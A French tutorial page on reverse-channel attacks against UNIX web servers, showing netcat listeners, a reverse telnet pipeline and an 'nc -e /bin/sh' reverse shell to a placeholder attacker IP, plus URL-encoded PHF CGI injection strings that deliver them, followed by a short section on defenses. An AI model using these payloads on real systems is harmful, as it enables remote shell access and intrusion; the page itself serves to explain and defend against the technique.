Principe de l'attaque
Le canal de retour
est un mécanisme dans lequel le canal de communication part
du sytème cible et non du système assaillant. Dans la section
Interpréteur
de commandes les pirates ne peuvent pas obtenir un intepréteur
de commandes parce que tous les ports à l'exception de 80 et
443 sont bloqués par le firewall. Les pirates doivent donc lancer
une session à partir du serveur UNIX vulnérable vers le système
assaillant en créant un canal retour.
Il existe plusieurs
méthodes qui peuvent être utilisées pour accomplir cette tâche.
Dans la
première méthode, telnet inversé, telnet est utilisé
pour créer un canal retour du sytème cible vers le système assaillant.
Cette technique s'appelle telnet inversé parce que la connexion
telnet a son origine sur le sytème dont les pirates cherchent
à obtenir l'accès et non sur le système assaillant.
Pour éxécuter un
telnet inversé, il faut utiliser net-cat (ou nc) car comme telnet
est lancé à partir du système cible, il faut activer des espions
nc sur son propre système pour ainsi accepter des connexions
telnet inversées. Il faut exécuter les commandes suivantes dans
deux fenêtre séparées pour recevoir avec succès les connexions
telnet :
nc
-1 -n -v -p 80
nc -1 -n -v -p 25
Attention assurez
vous qu'aucun service de listage comme HHTPD ou sendmail n'est
relié aux ports 80 ou 25 sinon supprimez les au moyen de la
commande Kill.
La séquence de commandes
suivantes est exécuté sur le serveur cible avec l'outil PHF
/bin/telnet
evil_hackers_IP 80 | /bin/sh | /bin/telnet evil_hackers_IP 25
Voici maintenant
à quoi elle ressemble lorsqu'elle est exécutée via l'outil PHF
:
/cgi-bin/phf?Qalias=x%0a/bin/telnet%20evil_hackers_IP
%2080%20 | %20/bin/sh/%20 | %20/bin/telnet%20evil_hackers_IP%2025
Pas de panique !
Voici précisément ce que fait cette chaîne de commandes apparemment
complexe :
/bin/telnet
evil_hackers_IP 80 se connecte à l'espion nc sur le port
80.
C'est à ce moment
que nous entrons les commandes. En fait toutes les sorties ou
frappes clavier standard sont acheminées vers /bin/telnet evil_hackers_IP 25. Le résultat
final est un telnet inversé qui s'affiche dans deux fenêtre
distinctes. Les ports 80 et 25 ont été choisis parce que ce
sont des services communs qui, en règle générale, sont autorisés
en sortie par la plupart des firewalls.
Dans la deuxième
méthode on crée un canal retour en utilisant nc
au lieu de telnet. nc est aujourd'hui présent sur un grand nombre
de distribution UNIX. Dès lors, les chances de trouver nc sur
un serveur cible se multiplie et cette méthode est de plus en
plus utilisée.
Cependant il est
nécessaire que l'option #define GAPING_SECURITY_HOLE soit activée
pour pouvoir créer un canal retour via le commutateur -e.
Dans l'exemple suivant
nous partons du principe que nc est présent ainsi que l'option
activée.
Comme pour la première
méthode, la création d'un canal retour avec nc est une opération
en deux étapes. Il faut tout d'abord exécuter la commande suivante
pour bien recevoir le canal retour nc inversé.
nc
-1 -n -v -p 80
Une fois que l'espion
est cativé, il faut exécuter la commande suivante sur le système
distant:
nc
-e /bin/sh evil_hackers_IP 80
Voici à quoi elle
ressemble lorsqu'elle est exécutée via l'outil d'attaque PHF
:
/cgi-bin/phf?Qalias=x%0a/bin/nc%20-e%20/bin/
sh%20evil_hackers_IP%2080
Une fois que le
serveur Web a exécuté la chaîne précédente, un canal retour
nc est créé qui renvoi un interpréteur
de commandes, dans le cas présent
/bin/sh, vers notre espion.
Et hop ! Accès interpréteur
de commandes instantané avec une connexion amorcée à partir
du serveur cible.
Parades
Il est vraiement très difficile
de se protéger efficacement contre les attaques par canal retour.
La meilleure prévention consite à s'assurer que vos systèmes
sont sécurisés de façon qu'une attaque par canal de retour ne
puisse pas être exécutée. Ces mesures de prévention comprennent
la désactivation des services inutiles et l'application des
patches distribués par les éditeurs ainsi que toutes les solutions
de rechanges et astuces proposées.
Dans certains cas, il est possible
de configurer un mot de passe de façon à interdire toute connexion
provennant du serveur Web ou de systèmes internes. Ceci est
plus particulièrement valable si le firewall est de type proxy
(miroir). Il serait difficile, voir impossible, de lancer un
canal de retout par l'intermédiaire d'un firewall de type miroir
qui exige une forme d'authentification.
Il est également envisageable
de supprimer X et ainsi d'empécher l'envoi d'un xterm.
NetCat v1.10
Nbre de
téléchargement :
399